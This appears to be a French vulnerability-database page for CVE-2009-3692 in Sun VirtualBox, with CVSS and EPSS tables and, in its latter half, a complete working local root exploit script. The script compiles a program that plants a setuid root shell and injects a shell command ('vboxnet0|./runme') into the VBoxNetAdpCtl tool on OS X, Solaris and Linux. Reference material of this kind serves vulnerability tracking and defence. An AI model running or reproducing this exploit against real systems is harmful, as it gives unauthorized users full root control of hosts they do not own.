CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Unspecified vulnerability in the VBoxNetAdpCtl configuration tool in Sun VirtualBox 3.0.x before 3.0.8 on Solaris x86, Linux, and Mac OS X allows local users to gain privileges via unknown vectors.
Informations du CVE
Faiblesses connexes
CWE-ID
Nom de la faiblesse
Source
CWE Other
No informations.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.05%
–
–
2022-02-13
–
–
2.05%
–
–
2022-04-03
–
–
2.05%
–
–
2022-08-28
–
–
2.05%
–
–
2023-03-12
–
–
–
0.05%
–
2023-06-11
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-12-22
–
–
–
0.11%
–
2025-01-19
–
–
–
0.11%
–
2025-01-19
–
–
–
0.11%
–
2025-03-18
–
–
–
–
0.14%
2025-03-30
–
–
–
–
0.14%
2025-04-06
–
–
–
–
0.14%
2025-04-06
–
–
–
–
0.14,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2009-10-16 22h00 +00:00 Auteur : prdelka EDB Vérifié : Yes
#!/bin/sh
# CVE-2009-3692 Sun VirtualBox <= 3.0.6 local root exploit
# ========================================================
# Exploits popen() meta char shell injection vulnerability
# in Sun VirtualBox.
#
# E.g.
# admin@sundevil:~/test$ id
# uid=101(admin) gid=10(staff) groups=10(staff)
# admin@sundevil:~/test$ uname -a
# SunOS sundevil 5.11 snv_111b i86pc i386 i86pc Solaris
# admin@sundevil:~/test$ ./prdelka-vs-SUN-virtualbox.sh
# [ Sun VirtualBox <= 3.0.6 OSX/SOL/LINUX local root exploit
# [ No path provided, will attempt to exploit system default
# [ Places a root shell in ./sh if succesful
# [ Detected a SunOS target
# [ Detected SunOS is x86 platform
# ifconfig: add: bad address
# [ Trying for root shell.
# # id
# uid=101(admin) gid=10(staff) euid=0(root) egid=0(root) groups=10(staff)
#
# -- prdelka
cat >> runme.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc, char* argv[]){
FILE *from, *to;
int fd;
char ch;
setuid(0);
setgid(0);
from = fopen("/bin/sh","rb");
to = fopen("./sh","wb");
while(!feof(from)){
ch = fgetc(from);
if(!feof(from))
fputc(ch, to);
}
fclose(from);
fclose(to);
fd = open("./sh",O_RDWR);
fchown(fd,0,0);
fchmod(fd,S_IRWXU|S_IRWXG|S_IRWXO|S_ISUID|S_ISGID);
close(fd);
exit(0);
}
EOF
gcc runme.c -o runme 2>/dev/null
rm -rf runme.c
cat >> exploit.c << EOF
/*
CVE-2009-3692 VirtualBox VBoxNetAdpCtl Privilege Escalation
===========================================================
Local exploit for the popen() meta character shell injection
vulnerability that permits a malicious user to obtain root
privileges on the VirtualBox host machine. This exploit relies
on the "/bin/sh" binary on the host as being a non-privilege
dropping shell such as zsh, this is not always the OS default
setting.
Most modern platforms do not have a /bin/sh that retains
privileges by default however Solaris still seems to!
You can provide an arguement to the VBoxNetAdpCtl binary
path or alternatively this exploit detects local host platform
and runs with common or default installation location.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
int main(int argc,char* argv[])
{
char *env[] = {NULL};
int platform, machine = 0;
struct utsname* sysdetail = malloc(sizeof(struct utsname));
printf("[ Sun VirtualBox <= 3.0.6 OSX/SOL/LINUX local root exploit\n");
if(argc > 1){
printf("[ Trying %s\n", argv[1]);
execle(argv[1],argv[1],"vboxnet0|./runme","1::2",NULL,env);
exit(0);
}
else{
printf("[ No path provided, will attempt to exploit system default\n");
}
printf("[ Places a root shell in ./sh if succesful\n");
uname(sysdetail);
if(!strncmp("Darwin",sysdetail->sysname,strlen("Darwin")))
platform = 1;
if(!strncmp("SunOS",sysdetail->sysname,strlen("SunOS")))
platform = 2;
if(!strncmp("Linux",sysdetail->sysname,strlen("Linux")))
platform = 3;
switch(platform){
case 1:
printf("[ Detected a Mac OS X target\n");
execle("/Applications/VirtualBox.app/Contents/MacOS/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);
break;
case 2:
printf("[ Detected a SunOS target\n");
if(!strncmp("i86pc",sysdetail->machine,strlen("i86pc"))){
printf("[ Detected SunOS is x86 platform\n");
execle("/opt/VirtualBox/i386/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);
}
else{
printf("[ Guessing SunOS is amd64 platform\n");
execle("/opt/VirtualBox/amd64/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);
}
break;
case 3:
printf("[ Detected a Linux target\n");
execle("/opt/VirtualBox/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);
break;
default:
printf("[ Unknown OSE target. Try ./%s <path>/VBoxNetAdpCtl\n",argv[0]);
break;
}
exit(0);
}
EOF
gcc exploit.c -o exploit 2>/dev/null
rm -rf exploit.c
if [ $1 ]
then
./exploit $1
else
./exploit
fi
echo [ Trying for root shell.
./sh